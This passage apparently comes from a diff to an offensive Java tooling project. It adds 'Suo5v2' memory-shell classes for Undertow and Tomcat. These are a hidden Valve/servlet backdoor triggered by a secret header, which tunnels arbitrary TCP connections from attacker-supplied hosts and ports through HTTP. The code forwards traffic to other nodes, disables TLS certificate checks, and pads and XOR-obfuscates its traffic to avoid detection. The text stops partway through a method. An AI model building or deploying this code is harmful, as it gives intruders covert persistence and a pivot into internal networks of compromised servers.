resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + pipeStream(conn.getInputStream(), out, false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } + + private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2UndertowServletHandler(tunId, 1)).start(); + new Thread(new Suo5v2UndertowServletHandler(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(Object request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { + String method = (String) request.getClass().getMethod("getMethod").invoke(request); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java new file mode 100644 index 00000000..8805caba --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -0,0 +1,1199 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.net.ssl.*; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Valve() { + } + + public Suo5v2Valve(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Valve(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Valve().process(request, response); + return; + } + } catch (Throwable ignored) { + } + this.getNext().invoke(request, response); + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = 